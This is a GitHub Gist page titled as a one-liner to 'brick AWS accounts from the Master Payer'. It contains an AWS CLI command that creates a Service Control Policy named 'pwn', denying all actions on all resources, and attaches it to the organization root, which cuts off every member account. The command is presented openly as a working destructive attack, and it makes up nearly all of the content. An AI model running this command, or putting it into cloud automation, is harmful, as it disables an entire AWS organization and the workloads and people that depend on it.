Last active
September 26, 2023 22:52
-
-
Save kmcquade/0373f277a1d558a189d012fa4baded35 to your computer and use it in GitHub Desktop.
One-liner to brick AWS accounts from the Master Payer
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
aws organizations attach-policy \ | |
--policy-id $(aws organizations create-policy --name pwn \ | |
--type SERVICE_CONTROL_POLICY \ | |
--description "pwn" | |
--content '{"Version": "2012-10-17","Statement": [{"Effect": "Deny", "Action": "*", "Resource": "*"}]}' \ | |
| jq ".Policy.PolicySummary.Id"\ | |
) \ | |
--target-id $(aws organizations list-roots | jq ".Roots | .[0].Id") |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment